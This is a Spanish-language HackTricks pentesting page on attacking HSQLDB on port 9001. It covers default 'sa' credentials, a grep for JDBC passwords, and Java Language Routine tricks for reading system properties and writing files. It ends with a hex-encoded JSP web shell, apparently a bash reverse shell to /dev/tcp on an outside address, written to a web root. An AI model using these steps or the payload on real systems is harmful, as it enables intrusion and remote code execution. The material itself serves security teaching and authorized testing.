hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md

95 lines
5.6 KiB
Markdown
Raw Normal View History

<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
2023-06-05 18:33:24 +00:00
# Información Básica
HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\) es el sistema líder de base de datos relacional SQL escrito en Java. Ofrece un motor de base de datos pequeño, rápido, multihilo y transaccional con tablas en memoria y basadas en disco, y soporta modos embebido y servidor.
2023-06-05 18:33:24 +00:00
**Puerto predeterminado:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Información
### Configuraciones Predeterminadas
2023-06-05 18:33:24 +00:00
Ten en cuenta que por defecto este servicio probablemente esté ejecutándose en memoria o esté vinculado a localhost. Si lo encontraste, probablemente explotaste otro servicio y buscas escalar privilegios.
2023-06-05 18:33:24 +00:00
Las credenciales predeterminadas suelen ser `sa` con una contraseña en blanco.
2023-06-05 18:33:24 +00:00
Si has explotado otro servicio, busca posibles credenciales usando
2023-06-05 18:33:24 +00:00
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Toma nota del nombre de la base de datos con cuidado - lo necesitarás para conectarte.
2023-06-05 18:33:24 +00:00
# Recopilación de Información
2023-06-05 18:33:24 +00:00
Conéctate a la instancia de la base de datos [descargando HSQLDB](https://sourceforge.net/projects/hsqldb/files/) y extrayendo `hsqldb/lib/hsqldb.jar`. Ejecuta la aplicación GUI \(eww\) usando `java -jar hsqldb.jar` y conéctate a la instancia utilizando las credenciales descubiertas/débiles.
2023-06-05 18:33:24 +00:00
Nota que la URL de conexión se verá algo así para un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
2023-06-05 18:33:24 +00:00
# Trucos
## Rutinas del Lenguaje Java
2023-06-05 18:33:24 +00:00
Podemos llamar métodos estáticos de una clase Java desde HSQLDB utilizando Rutinas del Lenguaje Java. Ten en cuenta que la clase llamada necesita estar en el classpath de la aplicación.
2023-06-05 18:33:24 +00:00
Las JRT pueden ser `functions` o `procedures`. Las funciones pueden ser llamadas a través de sentencias SQL si el método Java devuelve una o más variables primitivas compatibles con SQL. Se invocan utilizando la sentencia `VALUES`.
2023-06-05 18:33:24 +00:00
Si el método Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la sentencia `CALL`.
2023-06-05 18:33:24 +00:00
## Leyendo Propiedades del Sistema Java
2023-06-05 18:33:24 +00:00
Crear función:
2023-06-05 18:33:24 +00:00
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
Ejecutar función:
2023-06-05 18:33:24 +00:00
```text
VALUES(getsystemproperty('user.name'))
```
Puede encontrar una [lista de propiedades del sistema aquí](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
2023-06-05 18:33:24 +00:00
## Escribir Contenido en un Archivo
2023-06-05 18:33:24 +00:00
Puede usar el gadget de Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` ubicado en el JDK \(cargado automáticamente en la ruta de clases de la aplicación\) para escribir elementos codificados en hexadecimal en el disco a través de un procedimiento personalizado. **Tenga en cuenta el tamaño máximo de 1024 bytes**.
2023-06-05 18:33:24 +00:00
Crear procedimiento:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Ejecutar procedimiento:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>